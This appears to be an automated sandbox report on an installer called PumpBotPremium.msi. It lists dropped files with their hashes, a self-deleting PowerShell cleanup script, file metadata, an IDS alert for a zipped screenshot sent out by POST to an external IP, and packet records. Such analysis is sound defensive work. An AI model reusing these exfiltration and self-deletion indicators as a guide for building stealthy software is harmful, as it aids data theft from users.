                                                                                                                                                                                                                                                Preview:p...... ....2....db..+..(....................................................... ...........:'...Q..................h.t.t.p.:././.o.n.e.o.c.s.p...m.i.c.r.o.s.o.f.t...c.o.m./.o.c.s.p./.M.F.Q.w.U.j.B.Q.M.E.4.w.T.D.A.J.B.g.U.r.D.g.M.C.G.g.U.A.B.B.R.B.q.8.1.U.G.1.M.n.D.O.V.N.K.q.f.f.0.S.S.E.z.6.J.u.Z.w.Q.U.6.I.P.E.M.9.f.c.n.w.y.c.d.p.o.K.p.t.T.f.h.6.Z.e.W.O.4.C.E.z.M.A.A.H.9.3.o.7.3.n.y.F.Z.d.E.U.w.A.A.A.A.A.f.3.c.%.3.D...".4.7.f.a.d.a.9.5.0.0.f.4.d.1.3.7.4.a.4.7.b.d.c.2.d.1.7.3.6.e.a.e.9.5.2.2.f.5.0.5.9.6.e.1.2.2.9.2.0.3.6.7.6.d.5.6.6.6.0.7.4.0.b.3."...

                                                                                                                                                                                                                                                C:\Windows\SystemTemp\AI_D021.ps1

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exe
                                                                                                                                                                                                                                                File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):23157
                                                                                                                                                                                                                                                Entropy (8bit):6.0243033942126525
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:384:gsgQpJjMUmMZYvqsB9tq5Pr056H46ftIj3OD1uz9p/fO7ywaX:eQpJjMUOvdEYSFIzpN6gX
                                                                                                                                                                                                                                                MD5:54A3795308331741EBDC2B0B754EF911
                                                                                                                                                                                                                                                SHA1:4D49846CF892E0B7DABC8407C1F8B0459994951C
                                                                                                                                                                                                                                                SHA-256:27545C48DFE53E90915094E4E033E344E316D43832C954851640B7886E97828E
                                                                                                                                                                                                                                                SHA-512:E00678822BCC457CD1ADFEF44EF25D734986F1F7B23AB3582D3968EEF38C70A91CB1B11F933DA2EA31324A553127EDA9D76DA87B0DCB6E79C66E2356C81DB309
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:param(.. [Parameter(Mandatory = $true)].. [string[]]$paths,.. [int]$retry_count = 0..)....# Delete paths using parallel jobs. ..$jobs = $paths | ForEach-Object {.. Start-Job -ScriptBlock {.. param(.. [string]$path,.. [int]$retry_count = 0.. ).... if (Test-Path -LiteralPath $path) {.. $count = 0.. while ($true) {.. Remove-Item -LiteralPath $path -Force.. if (-not (Test-Path -LiteralPath $path) -or ($count -ge $retry_count)) {.. return;.. }.. $count++.. Start-Sleep -s 5 #sleep 5 seconds.. } .. }.. } -ArgumentList $_, $retry_count ..}....# Wait for the delete jobs to finish..Wait-Job -Job $jobs....# Self delete..Remove-Item -Path $MyInvocation.MyCommand.Source....# SIG # Begin signature block..# MII9SwYJKoZIhvcNAQcCoII9PDCCPTgCAQExDzANBglghkgBZQMEAgEFADB5Bgor..# BgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMC

                                                                                                                                                                                                                                                C:\Windows\Temp\~DF0D53DC9C7BBFC774.TMP

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\System32\msiexec.exe
                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):512
                                                                                                                                                                                                                                                Entropy (8bit):0.0
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:3::
                                                                                                                                                                                                                                                MD5:BF619EAC0CDF3F68D496EA9344137E8B
                                                                                                                                                                                                                                                SHA1:5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
                                                                                                                                                                                                                                                SHA-256:076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
                                                                                                                                                                                                                                                SHA-512:DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Windows\Temp\~DF47F5555B91963625.TMP

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\System32\msiexec.exe
                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):73728
                                                                                                                                                                                                                                                Entropy (8bit):0.12714218031324281
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:48:LxI2QHdQ0SkdQJdQ0SkdQ+AEkrCyFxo1blf4t/2l:LxIx+QRCPf4E
                                                                                                                                                                                                                                                MD5:928CC3DE790FED15CC2D8AEEA7B0B902
                                                                                                                                                                                                                                                SHA1:36DDA612AC8FAC9193C85B3B80D7E051013786FF
                                                                                                                                                                                                                                                SHA-256:800FAA6C99D0408381EF0928E9930AF826938346754F3954D24B0DA2ABCF3515
                                                                                                                                                                                                                                                SHA-512:AC0D892120679D560FD6E3F08EA7CD92BD07E6573D44BE9A99F0D5BC104DCC8B41B522CA15E393F4D3B55CA52F1A9F8341E27A3963EEA0BA8FF503054B8FD640
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Windows\Temp\~DF50561FB6F2C930BB.TMP

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\System32\msiexec.exe
                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):512
                                                                                                                                                                                                                                                Entropy (8bit):0.0
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:3::
                                                                                                                                                                                                                                                MD5:BF619EAC0CDF3F68D496EA9344137E8B
                                                                                                                                                                                                                                                SHA1:5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
                                                                                                                                                                                                                                                SHA-256:076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
                                                                                                                                                                                                                                                SHA-512:DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Windows\Temp\~DF5ABBBEBDCE86EACC.TMP

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\System32\msiexec.exe
                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):512
                                                                                                                                                                                                                                                Entropy (8bit):0.0
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:3::
                                                                                                                                                                                                                                                MD5:BF619EAC0CDF3F68D496EA9344137E8B
                                                                                                                                                                                                                                                SHA1:5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
                                                                                                                                                                                                                                                SHA-256:076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
                                                                                                                                                                                                                                                SHA-512:DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Windows\Temp\~DF8CFE24CFB6B9F8D8.TMP

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\System32\msiexec.exe
                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):512
                                                                                                                                                                                                                                                Entropy (8bit):0.0
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:3::
                                                                                                                                                                                                                                                MD5:BF619EAC0CDF3F68D496EA9344137E8B
                                                                                                                                                                                                                                                SHA1:5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
                                                                                                                                                                                                                                                SHA-256:076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
                                                                                                                                                                                                                                                SHA-512:DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Windows\Temp\~DF9E6F418B6A9C8200.TMP

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\System32\msiexec.exe
                                                                                                                                                                                                                                                File Type:Composite Document File V2 Document, Cannot read section info
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):32768
                                                                                                                                                                                                                                                Entropy (8bit):1.2337369036186212
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:48:2L0uNO+CFXJBT5glW/w40lZUdQ0SkdQ+AEkrCyFxoldQ0SkdQEPbxI:U05ZT6n4c6QRCv3xI
                                                                                                                                                                                                                                                MD5:BFE59EF4DFE090A62D5949042A985FDC
                                                                                                                                                                                                                                                SHA1:140430768AEAF60F6CCAD27037A0B4DABAFC7EA0
                                                                                                                                                                                                                                                SHA-256:5C7434BE12A182C129C6867E32C21EB0A9B8AABEF8BA79F6B2329FB7B58833BB
                                                                                                                                                                                                                                                SHA-512:AF3969102C3ACBD7977E219A97F722C68C51796C41444169F5AB9DAE97A7BA88CE8CC7D06E873A29AA452915C921EFAE9E882599F6B5E8B8170913D5C30CE336
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Windows\Temp\~DFA019D68DC125F497.TMP

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\System32\msiexec.exe
                                                                                                                                                                                                                                                File Type:Composite Document File V2 Document, Cannot read section info
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):32768
                                                                                                                                                                                                                                                Entropy (8bit):1.2337369036186212
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:48:2L0uNO+CFXJBT5glW/w40lZUdQ0SkdQ+AEkrCyFxoldQ0SkdQEPbxI:U05ZT6n4c6QRCv3xI
                                                                                                                                                                                                                                                MD5:BFE59EF4DFE090A62D5949042A985FDC
                                                                                                                                                                                                                                                SHA1:140430768AEAF60F6CCAD27037A0B4DABAFC7EA0
                                                                                                                                                                                                                                                SHA-256:5C7434BE12A182C129C6867E32C21EB0A9B8AABEF8BA79F6B2329FB7B58833BB
                                                                                                                                                                                                                                                SHA-512:AF3969102C3ACBD7977E219A97F722C68C51796C41444169F5AB9DAE97A7BA88CE8CC7D06E873A29AA452915C921EFAE9E882599F6B5E8B8170913D5C30CE336
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Windows\Temp\~DFA2D8E9CF71AD6417.TMP

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\System32\msiexec.exe
                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):32768
                                                                                                                                                                                                                                                Entropy (8bit):0.0729299840369834
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:6:2/9LG7iVCnLG7iVrKOzPLHKOJJUpA6G93tIplltwVky6lq:2F0i8n0itFzDHFHIAdh6lLq
                                                                                                                                                                                                                                                MD5:92D72E7A7AC6DBB374BB8F674F78739B
                                                                                                                                                                                                                                                SHA1:EC9EFB6B13289E182443FBF505E74EF9DB5C404A
                                                                                                                                                                                                                                                SHA-256:5064FB103B7EBA4963CB58E2350D3B3203ACA16A542285B799312E7DD547AB5D
                                                                                                                                                                                                                                                SHA-512:3CC9434461437776B3854A07898E925741EC22322EC1DC92CE8A507C0DCDFCE1A5A353E4F64913A2C4235B8D891DAAF532DBDDB542173F5540EE1A98E9D4F819
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Windows\Temp\~DFB737F04A3758BF43.TMP

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\System32\msiexec.exe
                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):512
                                                                                                                                                                                                                                                Entropy (8bit):0.0
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:3::
                                                                                                                                                                                                                                                MD5:BF619EAC0CDF3F68D496EA9344137E8B
                                                                                                                                                                                                                                                SHA1:5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
                                                                                                                                                                                                                                                SHA-256:076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
                                                                                                                                                                                                                                                SHA-512:DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Windows\Temp\~DFC308990B6750CFB8.TMP

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\System32\msiexec.exe
                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):512
                                                                                                                                                                                                                                                Entropy (8bit):0.0
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:3::
                                                                                                                                                                                                                                                MD5:BF619EAC0CDF3F68D496EA9344137E8B
                                                                                                                                                                                                                                                SHA1:5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
                                                                                                                                                                                                                                                SHA-256:076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
                                                                                                                                                                                                                                                SHA-512:DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Windows\Temp\~DFD41682D5FD1F76DD.TMP

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\System32\msiexec.exe
                                                                                                                                                                                                                                                File Type:Composite Document File V2 Document, Cannot read section info
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):32768
                                                                                                                                                                                                                                                Entropy (8bit):1.2337369036186212
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:48:2L0uNO+CFXJBT5glW/w40lZUdQ0SkdQ+AEkrCyFxoldQ0SkdQEPbxI:U05ZT6n4c6QRCv3xI
                                                                                                                                                                                                                                                MD5:BFE59EF4DFE090A62D5949042A985FDC
                                                                                                                                                                                                                                                SHA1:140430768AEAF60F6CCAD27037A0B4DABAFC7EA0
                                                                                                                                                                                                                                                SHA-256:5C7434BE12A182C129C6867E32C21EB0A9B8AABEF8BA79F6B2329FB7B58833BB
                                                                                                                                                                                                                                                SHA-512:AF3969102C3ACBD7977E219A97F722C68C51796C41444169F5AB9DAE97A7BA88CE8CC7D06E873A29AA452915C921EFAE9E882599F6B5E8B8170913D5C30CE336
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Windows\Temp\~DFE626228802FF1ACE.TMP

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\System32\msiexec.exe
                                                                                                                                                                                                                                                File Type:Composite Document File V2 Document, Cannot read section info
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):32768
                                                                                                                                                                                                                                                Entropy (8bit):1.2337369036186212
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:48:2L0uNO+CFXJBT5glW/w40lZUdQ0SkdQ+AEkrCyFxoldQ0SkdQEPbxI:U05ZT6n4c6QRCv3xI
                                                                                                                                                                                                                                                MD5:BFE59EF4DFE090A62D5949042A985FDC
                                                                                                                                                                                                                                                SHA1:140430768AEAF60F6CCAD27037A0B4DABAFC7EA0
                                                                                                                                                                                                                                                SHA-256:5C7434BE12A182C129C6867E32C21EB0A9B8AABEF8BA79F6B2329FB7B58833BB
                                                                                                                                                                                                                                                SHA-512:AF3969102C3ACBD7977E219A97F722C68C51796C41444169F5AB9DAE97A7BA88CE8CC7D06E873A29AA452915C921EFAE9E882599F6B5E8B8170913D5C30CE336
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Windows\Temp\~DFF9A026285929888D.TMP

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\System32\msiexec.exe
                                                                                                                                                                                                                                                File Type:Composite Document File V2 Document, Cannot read section info
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):20480
                                                                                                                                                                                                                                                Entropy (8bit):1.5369349390309766
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:48:G8Ph8uRc06WXJMFT5ylW/w40lZUdQ0SkdQ+AEkrCyFxoldQ0SkdQEPbxI:Zh81vFTUn4c6QRCv3xI
                                                                                                                                                                                                                                                MD5:9B6CEF056EA4B4ED2F87996CA694F72F
                                                                                                                                                                                                                                                SHA1:B6688CA463B8E65E42D0157DC839837BA972F1C2
                                                                                                                                                                                                                                                SHA-256:4A07078A6CE785043206957FB50AA52503135D2D4E5B5E4C6FDE959814BDD016
                                                                                                                                                                                                                                                SHA-512:C433C422B8E95140E267B3216AB844A4438225CD254D048B52ABF3677CECD53F21188D63015AADF0DF7ECD7738DB8A63DB26AC7D77A36D76BF1641131F9C2356
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Windows\Temp\~DFFB806C901D3CD508.TMP

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\System32\msiexec.exe
                                                                                                                                                                                                                                                File Type:Composite Document File V2 Document, Cannot read section info
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):20480
                                                                                                                                                                                                                                                Entropy (8bit):1.5369349390309766
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:48:G8Ph8uRc06WXJMFT5ylW/w40lZUdQ0SkdQ+AEkrCyFxoldQ0SkdQEPbxI:Zh81vFTUn4c6QRCv3xI
                                                                                                                                                                                                                                                MD5:9B6CEF056EA4B4ED2F87996CA694F72F
                                                                                                                                                                                                                                                SHA1:B6688CA463B8E65E42D0157DC839837BA972F1C2
                                                                                                                                                                                                                                                SHA-256:4A07078A6CE785043206957FB50AA52503135D2D4E5B5E4C6FDE959814BDD016
                                                                                                                                                                                                                                                SHA-512:C433C422B8E95140E267B3216AB844A4438225CD254D048B52ABF3677CECD53F21188D63015AADF0DF7ECD7738DB8A63DB26AC7D77A36D76BF1641131F9C2356
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                Static File Info

                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                File type:Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, MSI Installer, Last Printed: Fri Dec 11 11:47:44 2009, Last Saved Time/Date: Fri Sep 18 15:06:51 2020, Security: 0, Code page: 1252, Revision Number: {7FFEF896-5843-4272-ACBA-A4977C267D92}, Number of Words: 2, Subject: PumpBotPremium, Author: Coinsw.app, Name of Creating Application: PumpBotPremium, Template: ;1033, Comments: This installer database contains the logic and data required to install PumpBotPremium., Title: Installation Database, Keywords: Installer, MSI, Database, Create Time/Date: Tue Mar 5 02:13:07 2024, Number of Pages: 200
                                                                                                                                                                                                                                                Entropy (8bit):7.9808529892837035
                                                                                                                                                                                                                                                TrID:
                                                                                                                                                                                                                                                • Windows SDK Setup Transform Script (63028/2) 47.91%
                                                                                                                                                                                                                                                • Microsoft Windows Installer (60509/1) 46.00%
                                                                                                                                                                                                                                                • Generic OLE2 / Multistream Compound File (8008/1) 6.09%
                                                                                                                                                                                                                                                File name:PumpBotPremium.msi
                                                                                                                                                                                                                                                File size:63'906'816 bytes
                                                                                                                                                                                                                                                MD5:9f08612018c349c8c6a27805064e34c6
                                                                                                                                                                                                                                                SHA1:75c97a2a7f4dbad493239110d8695df62c84fe0d
                                                                                                                                                                                                                                                SHA256:c6309489b3f61e00ec320db6c0e6ffd2875a3f94f86ee00b30946fa6ba535551
                                                                                                                                                                                                                                                SHA512:8a0bb48e44da2ad9efc656e9e35eb5c9a3948baffea33241a2e9932f3e5e30786600e746494e0a105db06550def0364e0356ec7f3ea1034d913468c82b369dcc
                                                                                                                                                                                                                                                SSDEEP:1572864:9ZXx6Ltn72vM/a4cz6Q1mbg12hpEM6O4w:9T6LxSTag12hpYO4
                                                                                                                                                                                                                                                TLSH:ABE73321B287C032C1AC01726A7DEE6F4179BE73077590E7BBE43E6A49B88C15631E57
                                                                                                                                                                                                                                                File Content Preview:........................>...........................................v....................................................................................................... ...!..."...#...$...%...&...'...(...)...*...+...,...-......./...0...1...2...3...4..

                                                                                                                                                                                                                                                File Icon

                                                                                                                                                                                                                                                Icon Hash:2d2e3797b32b2b99

                                                                                                                                                                                                                                                Network Behavior

                                                                                                                                                                                                                                                Suricata IDS Alerts

                                                                                                                                                                                                                                                TimestampSIDSignatureSeveritySource IPSource PortDest IPDest PortProtocol
                                                                                                                                                                                                                                                2024-10-30T22:05:24.405605+01002843856ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screenshot.) M21192.168.2.449735167.99.214.19480TCP

                                                                                                                                                                                                                                                Network Port Distribution

                                                                                                                                                                                                                                                TCP Packets

                                                                                                                                                                                                                                                TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.344094038 CET4973580192.168.2.4167.99.214.194
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.350044012 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.350107908 CET4973580192.168.2.4167.99.214.194
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.350265980 CET4973580192.168.2.4167.99.214.194
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.350347996 CET4973580192.168.2.4167.99.214.194
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.356087923 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.356137037 CET4973580192.168.2.4167.99.214.194
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.356338024 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.356352091 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.356363058 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.356378078 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.356395006 CET4973580192.168.2.4167.99.214.194
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.356431007 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.356445074 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.356448889 CET4973580192.168.2.4167.99.214.194
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.356456041 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.356467962 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.356506109 CET4973580192.168.2.4167.99.214.194
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.356535912 CET4973580192.168.2.4167.99.214.194
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.361987114 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.362034082 CET4973580192.168.2.4167.99.214.194
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.362052917 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.362111092 CET4973580192.168.2.4167.99.214.194
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.362346888 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.362405062 CET4973580192.168.2.4167.99.214.194
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.362445116 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.362536907 CET4973580192.168.2.4167.99.214.194
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.362562895 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.362576962 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.362590075 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.362608910 CET4973580192.168.2.4167.99.214.194
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.362683058 CET4973580192.168.2.4167.99.214.194
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.405514956 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.405605078 CET4973580192.168.2.4167.99.214.194
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.457626104 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.457698107 CET4973580192.168.2.4167.99.214.194
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.505496979 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.505975962 CET4973580192.168.2.4167.99.214.194
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.553494930 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.553566933 CET4973580192.168.2.4167.99.214.194
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.601694107 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.601902008 CET4973580192.168.2.4167.99.214.194
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.649643898 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.649701118 CET4973580192.168.2.4167.99.214.194
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.697577000 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.701436996 CET4973580192.168.2.4167.99.214.194
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.749536037 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.750211000 CET4973580192.168.2.4167.99.214.194
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.801513910 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.810220957 CET4973580192.168.2.4167.99.214.194
